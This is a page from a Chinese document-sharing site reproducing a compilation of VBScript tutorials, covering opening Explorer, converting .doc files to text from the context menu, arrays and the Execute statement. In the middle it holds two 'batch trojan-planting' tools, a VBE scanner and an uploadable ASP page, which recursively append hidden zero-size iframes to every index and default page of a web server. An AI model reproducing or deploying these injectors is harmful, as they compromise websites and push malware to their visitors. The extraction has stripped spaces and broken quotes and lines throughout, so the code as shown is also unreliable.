vbs4Word文档格式.docx
- 文档编号:16333131
- 上传时间:2022-11-23
- 格式:DOCX
- 页数:65
- 大小:93.59KB
vbs4Word文档格式.docx
《vbs4Word文档格式.docx》由会员分享,可在线阅读,更多相关《vbs4Word文档格式.docx(65页珍藏版)》请在冰豆网上搜索。
\scripts。
在第2行,我们调用Run方法,并将变量strPath作为所要运行的命令传递。
如果一切顺利(就脚本编写方面,事情总是很顺利,对吧?
),Windows资源管理器将会打开且焦点定位在C:
\Scripts上:
真酷。
那么,这有何不妥吗?
没什么,一切正常。
该脚本的唯一弊端是需要您键入文件夹的完整路径;
当您试图打开文件夹C:
\DocumentsandSettings\DefaultUser\ApplicationData\Microsoft\SystemCertificates\My\Certificates时,这就会成为一个问题。
但是由于系统管理员总是坚持使用命令行,我们又必须做何种选择呢?
好吧,您总是可以尝试一下GUI方法(不用担心,我们不会告诉任何人的):
ConstWINDOW_HANDLE=0
ConstNO_OPTIONS=0
Shell.Application"
SetobjFolder=objShell.BrowseForFolder_
(WINDOW_HANDLE,"
Selectafolder:
"
NO_OPTIONS)
SetobjFolderItem=objFolder.Self
strPath=objFolderItem.Path
objShell.ExplorestrPath
本脚本根本不需要您做任何键入。
您只需启动该脚本,然后它会显示浏览文件夹对话框:
选择文件夹,单击确定,这样就可以了。
那么,此脚本是如何工作的?
好吧,我们先定义一对常量:
WINDOW_HANDLE和NO_OPTIONS。
WINDOW_HANDLE是BrowseForFolder方法所需的常量,NO_OPTIONS则只是通知脚本我们要显示标准的“浏览文件夹”对话框。
之后,我们创建Shell.Application对象的实例,然后使用下面这行代码来显示该对话框:
在对话框显示之后,它将一直等到我们选择一个文件夹并单击确定。
然后我们使用如下两行代码来实现:
1)创建对选定文件夹的对象引用;
以及,2)将文件夹路径存储到变量strPath中:
我们现在只需调用专用于打开Windows资源管理器的Explore方法。
通过将变量strPath作为单独的参数传递,这样会使得Windows资源浏览器在打开时焦点定位在C:
这说明了什么呢?
这说明现在您可以使用命令提示符打开Windows资源管理器,也可以使用GUI打开Windows资源管理器,这完全取决于您。
WORD软虽然可以将doc转为文本文档,但每次打开WORD都很慢。
最好就是通过右键菜单来快速转换。
打开记事本输入:
ONERRORRESUMENEXT
setargs=wscript.arguments
arg=args(0)
setw=createobject("
word.application"
setfso=createobject("
scripting.filesystemobject"
setdocfile=fso.getfile(arg)
docpath=docfile.path
pt=left(docpath,Instrrev(docpath,"
\"
))
txtpn=pt&
left(docfile.name,instrrev(docfile.name,"
."
))&
txt"
w.documents.opendocpath,,,,,,,,,,,false
w.documents(docpath).activate
w.activedocument.saveastxtpn,2
w.activedocument.close
w.quit
setw=nothing
保存到“C:
\WINDOWS\doc2txt.vbe”。
记事本编辑
createobject("
wscript.shell"
).regwrite"
HKCU\docfile\Shell\\转为文本文档\Command\"
"
wscript.exeC:
\WINDOWS\doc2txt.vbe"
\WINDOWS\doc2txt.vbe%1"
以上内容保存为*.VBS,运行后,在doc文件上右击,就可以看到“转换为文本文档”项,点击就可以快速转换为文本文档。
以上内容在WIN2000加WORD2003下通过测试。
我在试验过程中发现,写入注测表的脚本运行后DOC右键有时并没有出现转换菜单,你可以将第二个脚本中的docfile改为*,就是在所有类型文件右键菜单添加转换项。
或者将doc2txt.vbe文件放到"
sendto"
文件夹,在doc文件上右击选“发送到~doc2txt.vbe”,同样可以转换。
此法同样可以将HTML,RTF等文件转换为文本文档。
把vbscript发挥到它的极限应用之一(数组)!
!
大家都知道,vb曾得到广范的应用,理由就是他学习简单应用方便,利用actvivx(OLE)技术,几乎是无所不能,但是那却不能堪称为规范的语言,在N些方面也是臭名召注的,vbscript从vb的语法中派生咯出来,基实说起vb,vbscript如果追述到我高中的是候,那么他的很好的前身就是basic,qbasic,trubobasic都是basic的不同版本。
vbscript做为一种脚本语言,那么学过basic的人一定对他不会陌生,他就是vb,basic的兄弟伙,但是又有多少人对有深度的认识。
就让我们来看一下他的数组吧!
也许很多人都知道
dima(3)可以定义一个有三个下标变量的一维数组
dima(3,4)可以定义一个三行四列的二维数组
dima(3,4,5)可以定义一个三维数组
最多可以达到60维
dima()可以定义一个动态数组
用redima(3)可以重新分配存储空间!
redimPreservea(5)可以重新分配存储空间的同时数据不丢失。
这些都是数组的典形应用,我想大多数人都非常熟习。
那么有没有人这样用过呢?
例子如下:
dima(3)
dimb(4)
a(0)=b
以上代码不会出错结果是ubound(a(0))为4,说明a(0)是一个数组。
这就像是js中的利用一维数组构成二维或多维数组一样。
那么修改以上代码:
dima
(2)
dimb()
redimb(3)
redimb(5)
以上代码执行完成之后ubound(a(0))为3,说明a(0)并不是b的引用,而是为a(0)分配了一个数组空间。
可见vbscript中变量是可以存储任何数据类型的特点,即我js中的变量无类型相似。
两个批量挂马vbs脚本代码
用vbs实现批量挂马
scan.vbe
cscriptscan.vbeweb目录
程序代码:
'
版权信息
br="
************************************"
vbCrLf
br=br&
"
*VBS批量挂马脚本*"
*BYBanLG*"
vbCrLf&
cscriptscan.vbeD:
马的地址
ma="
<
/Script>
IfRAMEheight=0width=0sRc="
chr(34)&
&
chr(…t;
/IFrAME>
要挂马的页面如果嫌不够还可以自己再加,记得要用”|”隔开
MyString="
index.php|index.asp|index.html|index.htm|default.php|default.asp|default.html|default.htm|index.aspx|default.aspx"
以"
|"
为分隔符拆分成数组
MyArray=Split(MyString,"
-1,1)
web=WScript.Arguments(0)
如果web为空退出脚本
ifweb="
then
Wscript.echo(br)
window.Close
endif
Wscript.echo(br)&
马的地址:
ma&
创建对象
Setfso=createObject("
Scripting.FileSystemObject"
开始扫描挂马
scan(web)
scan定义函数,扫描查找符合条件的文件把马的内容写到文件的结尾
subscan(filesder)
setfilesder=fso.getfolder(filesder)
得到当前目录的所有文件集合
setfiles=filesder.files
获取文件名
foreachfextinfiles
Setfile1=fso.GetFile(fext)
filesext=file1.Name
把文件名转换成小写字母
ext=lcase(filesext)
ForEachindexinMyArray
判断文件是不是我们在MyString里限定的文件,如果是就写马
ifext=lcase(index)then
Setts=fso.OpenTextFile(fext,8)'
打开文件并在文件末尾进行写操作
ts.WriteLine(ma)
ts.Close
echo="
echo=fext&
………….ok"
Wscript.echo(echo)
next
setsubfolders=filesder.subfolders
foreachsubfolderinsubfolders'
搜索其他目录,递归调用
scan(subfolder)
endsub
FSO挂马.asp
传进服务器以后直接输入需要挂马的路径就可以直接挂了
%Server.ScriptTimeout=10000
Response.Buffer=False
%>
html>
head>
title>
/title>
****http-equiv="
Content-Type"
content="
text/html;
charset=gb2312"
>
/head>
body>
%
ASP_SELF=Request.ServerVariables("
PATH_INFO"
s=Request("
fd"
ex=Request("
ex"
pth=Request("
pth"
newcnt=Request("
newcnt"
Ifex<
ANDpth<
Then
selectCaseex
Case"
edit"
CALLfile_show(pth)
save"
CALLfile_save(pth)
Endselect
Else
formaction="
%=ASP_SELF%>
method="
POST"
FOLDER(ABSOLUTEPATH):
inputtype="
text"
name="
size="
40"
submit"
value="
SUBMIT"
/form>
%EndIf%>
FunctionIsPattern(patt,str)
SetregEx=NewRegExp
regEx.Pattern=patt
regEx.IgnoreCase=True
retVal=regEx.Test(str)
SetregEx=Nothing
IfretVal=TrueThen
IsPattern=True
IsPattern=False
EndIf
EndFunction
IfIsPattern("
[^ab]{1}:
{1}(\\|\/)"
s)Then
schs
Ifs<
ThenResponse.Write"
InvalidAgrument!
Subsch(s)
oNeRrOrrEsUmEnExT
Setfs=Server.createObject("
Setfd=fs.GetFolder(s)
Setfi=fd.Files
Setsf=fd.SubFolders
ForEachfinfi
rtn=f.Path
step_allrtn
Next
Ifsf.Count<
0Then
ForEachlInsf
schl
EndSub
Substep_all(agr)
retVal=IsPattern("
(\\|\/)(default|index)\.(htm|html|asp|php|jsp|aspx)\b"
agr)
IfretValThen
step1agr
step2agr
ExitSub
%Substep1(str1)%>
ahref="
?
ex=edit&
pth=<
%=str1%>
target="
_blank"
/a>
br>
%EndSub%>
Substep2(str2)
addcode="
iframesrc=width=0height=0frameborder=0>
/iframe>
isExist=fs.FileExists(str2)
IfisExistThen
Setf=fs.GetFile(str2)
Setf_addcode=f.OpenAsTextStream(8,-2)
f_addcode.Writeaddcode
f_addcode.Close
Setf=Nothing
Setfs=Nothing
Subfile_show(fname)
Setfs1=Server.createObject("
isExist=fs1.FileExists(fname)
Setfcnt=fs1.OpenTextFile(fname)
cnt=fcnt.ReadAll
fcnt.Close
Setfs1=Nothing%>
FILE:
<
%=fname%>
textareaname="
cols="
100"
rows="
30"
%=cnt%>
/textarea>
hidden"
SAVE"
%Else%>
p>
THEFILEISNOTEXITORHAVEdeleteD.<
/p>
Subfile_save(fname)
Setfs2=Server.createObject("
Setnewf=fs2.createTextFile(fname,True)
newf.Writenewcnt
newf.Close
Setfs2=Nothing
Response.Write"
THEFILEWASMODIFIEDSUCCESSFULLY.<
/body>
/html>
VBS教程:
VBscript语句-Execute语句
Execute语句执行一个或多个指定的语句。
Executestatements
所需要的statements参数是一个字符串表达式,其中包含一个或多个要执行的语句。
如果要在statements参数中包含多条语句,应使用分号或嵌入的分行将其分隔开。
说明
在VBScript中,x=y可以有两种解释。
首先是作为赋值语句,将y的值赋予x。
其次是作为表达式,测试x和y的值是否相等。
如果相等,结果为True;
否则,结果为False。
Execute语句总是使用第一种解释,而Eval方法总是使用第二种。
注意在Microsoft(R)VisualBasicScriptingEdition中并不存在赋值与比较之间的混淆,因为赋值运算符(=)与比较运算符(==)是不同的。
调用Execute语句的上下文确定了要运行的代码可以使用的对象和变量。
作用域内的对象和变量是Execute语句中运行的代码可以使用的。
不过,必须明白的一点是,如果被执行的代码创建了过程,那么该过程将不会继承它所在的过程的作用域。
与其他过程类似,新的过程的作用域是全局的,它继承了全局作用域的全部东西。
与其他过程不同的是,它的上下文不是全局作用域,因此它只能在发生Execute语句的过程内的上下文中执行。
不过,如果相同的Execute语句是在过程之外(例如在全局作用域)的作用域中被调用,那么它将不仅继承全局作用域中的所有东西,而且它还可以在任何地方被调用,因为它的上下文是全局的。
下面的例子说明了这种特点:
DimX'
在全局作用域中声明X。
X="
Global"
'
将全局的X赋值。
SubProc1'
声明过程。
DimX'
在局部作用域中声明X。
X="
Local"
对局部的X赋值。
此处的Execute语句建立了一个过程,'
在调用该过程时它将打印X。
它打印的将是全局X,因为Proc2'
继承了全局作用域中的一切。
Execute"
SubProc2:
PrintX:
EndSub"
PrintEval("
X"
)'
打印本地X。
Proc2'
在Proc1的作用域中调用Proc2。
EndSubProc2'
本行将导致一个错误,因为'
Proc2在Proc1之外是不可使用的。
Proc1'
调用Proc1。
Proc2'
这句话可以成功,因为Proc2'
现在是全局可用的。
下面的例子显示了如何将Execute语句改写,免于将整个过程包含在引号内:
S="
SubProc2"
vbCrLfS=S&
PrintX"
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- vbs4